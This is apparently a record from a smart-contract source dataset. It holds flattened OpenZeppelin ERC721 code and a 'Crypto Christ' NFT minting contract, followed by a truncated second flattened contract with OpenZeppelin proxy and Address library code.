// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/contract.sol
pragma solidity ^0.8.4;
contract CryptoChrist is ERC721Enumerable, Ownable {
using Strings for uint256;
uint256 public tokenPrice = 0.05 ether;
uint256 public maxTokensPerMint = 10;
string public tokenBaseURI = "ipfs://QmUEExjtCnk9HMXrVVbDdDHRKS9cfMvKVvByvk9XFxGT3j/";
uint256 public tokensToBuyAmount = 10000;
uint256 public publicSaleStartTime = 1640390400; // Sat Dec 25 2021 00:00:00 GMT+0000, christmas eve
constructor() ERC721("Crypto Christ", "CC") {
}
function setMaxTokensPerMint(uint256 val) external onlyOwner {
maxTokensPerMint = val;
}
function setPublicSaleStartTime(uint256 val) external onlyOwner {
publicSaleStartTime = val;
}
function setTokenPrice(uint256 val) external onlyOwner {
tokenPrice = val;
}
function hasPublicSaleStarted() public view returns (bool) {
return block.timestamp >= publicSaleStartTime;
}
function mint(uint256 amount) external payable {
require(hasPublicSaleStarted(), "Cannot mint tokens before the start of the public sale");
require(amount <= maxTokensPerMint, "Cannot mint more than the max tokens per mint");
require(amount <= tokensToBuyAmount, "No tokens left for minting");
require(msg.value >= tokenPrice * amount, "Incorrect ETH sent");
uint256 supply = totalSupply();
for(uint256 i = 0; i < amount; i++) {
_safeMint(msg.sender, 1 + supply + i);
}
tokensToBuyAmount -= amount;
}
function _baseURI() internal view override(ERC721) returns (string memory) {
return tokenBaseURI;
}
function setBaseURI(string calldata URI) external onlyOwner {
tokenBaseURI = URI;
}
function withdraw() external onlyOwner {
require(payable(msg.sender).send(address(this).balance));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
// SPDX-License-Identifier: GPL-3.0-or-later
// Sources flattened with hardhat v2.6.1 https://hardhat.org
// File @openzeppelin/contracts/proxy/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File @openzeppelin/contracts/proxy/beacon/[email protected]
// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)
pragma solidity ^0.8.0;
/**
* @dev This is the interface that {BeaconProxy} expects of its beacon.
*/
interface IBeacon {
/**
* @dev Must return an address that can be used as a delegate call target.
*
* {BeaconProxy} will check that this address is a contract.
*/
function implementation() external view returns (address);
}
// File @openzeppelin/contracts/interfaces/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (interfaces/draft-IERC1822.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC1822: Universal Upgradeable Proxy Standard (UUPS) documents a method for upgradeability through a simplified
* proxy whose upgrades are fully controlled by the current implementation.
*/
interface IERC1822Proxiable {
/**
* @dev Returns the storage slot that the proxiable contract assumes is being used to store the implementation
* address.
*
* IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks
* bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this
* function revert if invoked through a proxy.
*/
function proxiableUUID() external view returns (bytes32);
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/[email protected]
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
